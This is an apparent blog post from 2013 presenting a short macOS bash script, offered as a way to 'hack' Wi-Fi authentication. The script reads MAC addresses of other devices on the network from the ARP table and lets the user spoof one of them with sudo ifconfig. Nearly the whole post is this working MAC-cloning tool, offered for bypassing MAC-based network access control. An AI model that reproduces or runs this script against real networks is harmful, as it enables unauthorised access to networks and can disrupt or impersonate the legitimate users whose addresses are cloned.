Monday, December 2, 2013

Hack Authentication Wifi Network by Command Line on Mac OSX

## my mac address 8c:2d:aa:a4:FF:FF MY_MAC_ADDR=??:??:??:??:??:?? ## check available connected mac address in the same netwrok ## echo "=========================================================" echo ">>>> Current Used Mac Address -------" ifconfig en1 | grep ether echo "=========================================================" echo ">>>> Real Mac Address : $MY_MAC_ADDR" echo "---->>> 99 to exit." echo "---->>> 0 to restore your mac address back." echo "---->>> 1 to search & change mac address in network." echo "---->>> 2 to change mac address." echo "=========================================================" echo "Choose :" read x if [ $x -eq 1 ];then echo "=========================================================" echo "---------->>> Copy one mac address below <<<-----------" echo "Checking..." arp -a echo "Completed." echo "=========================================================" echo "Past above mac address here :" read MAC_ADDR sudo ifconfig en1 ether $MAC_ADDR echo "Mac Address : $MAC_ADDR was completed." echo "You must turn off --> on wifi and connect back the previous network." elif [ $x -eq 0 ];then sudo ifconfig en1 ether $MY_MAC_ADDR echo "Your Mac Address : $MY_MAC_ADDR was restored." elif [ $x -eq 2 ];then echo "New mac address :" read new_mac sudo ifconfig en1 ether $new_mac echo "You must turn off --> on wifi and connect back the previous network." elif [ $x -eq 99 ];then echo "Exit....." fi exit 0

No comments:

Post a Comment